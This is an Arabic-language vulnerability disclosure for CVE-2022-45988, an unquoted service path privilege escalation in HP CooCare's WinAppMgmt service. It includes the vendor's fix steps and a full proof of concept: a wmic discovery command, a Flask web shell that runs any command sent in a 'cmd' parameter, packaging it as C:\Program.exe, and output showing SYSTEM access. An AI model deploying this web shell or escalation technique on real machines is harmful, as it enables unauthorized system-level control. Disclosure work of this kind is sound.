CVE-2022-45988 StarSoftComm HP CooCare توجد ثغرة تصعيد صلاحيات

####################################################

لقد تواصلت مع hp-security-alert وقد أصلحوا هذا الخطأ. بخصوص StarSoftComm CooCare [HP-PSRT-IR #4106] استجاب البائع بالمعلومات التالية:

اتبع هذه الخطوات للتحديث:

1. تشغيل eService
2. انتظر حوالي 3 دقائق
3. أغلق eService وقم بتشغيله مرة أخرى.
4. تحقق من أن الإصدار v5.364 أو أحدث.

#####################################

توجد ثغرة تصعيد صلاحيات في StarSoftComm HP CooCare قد تسمح للمهاجم برفع مستوى صلاحياته e管家超级版 هو برنامج تشخيص عن بُعد مدمج في HP Star 14 Pro، وهو منتج من منتجات StarSoftComm (RuanTong Technology)

تم الاختبار على نظام windows 11 22621.819 على الكمبيوتر المحمول HP Pavilion Plus 14 بوصة 14-eh0000 (56D77AV)

الإصدار المتأثر: إصدارات CooCare الأقل من v5.364

#إعادة إنتاج الثغرة

#الخطوة الأولى: wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\" |findstr /i /v """ ابحث عن الخدمة (استخدم أمر CMD أعلاه للعثور على الخدمة غير المقتبسة)

اسم الخدمة هو Windows Application Management Service = المعروف أيضًا باسم = WinAppMgmt اسم الخدمة هو Windows Application Management Service واختصاره هو WinAppMgmt

الخدمة تابعة لـ StarSoftComm CooCare

#الخطوة 2: تجهيز برنامج خبيث

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/')
def hello_world():
    r = request.args.getlist('cmd')  #Reception? cmd= parameter
    a=os.popen(r[0])  #Execute system commands
    l = a.read()
    return l  #return

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=14145, debug=True)  #Listen HTTP port 14145

لقد استخدمت python3 مع flask لكتابة ملف exe خبيث. يمكنه الاستماع على منفذ HTTP 14145 وتنفيذ أوامر النظام.

باستخدام الأمر pyinstaller.exe --onefile --windowed -F -w python_test.py لإنشاء ملف exe خبيث.

#الخطوة 3: ضع البرنامج الخبيث في المسار C:\ وأعد تسميته إلى Program.exe

#الخطوة 4: تشغيل خدمة Windows Application Management Service

إذا كانت خدمة Windows Application Management Service قيد التشغيل بالفعل، يمكنك إعادة تشغيلها

#الخطوة 5: انتظر بدء تشغيل خدمة Windows Application Management Service ثم تنفيذ أوامر النظام C:\Program.exe يعمل بصلاحيات النظام

عندما أرى خدمة Windows Application Management Service تبدأ في Taskmgr.exe بصلاحيات SYSTEM، يمكنني فتح المتصفح وإدخال http://127.0.0.1:14145?cmd=whoami

انتظر..........

من أجل...

ذلك.

NT SYSTEM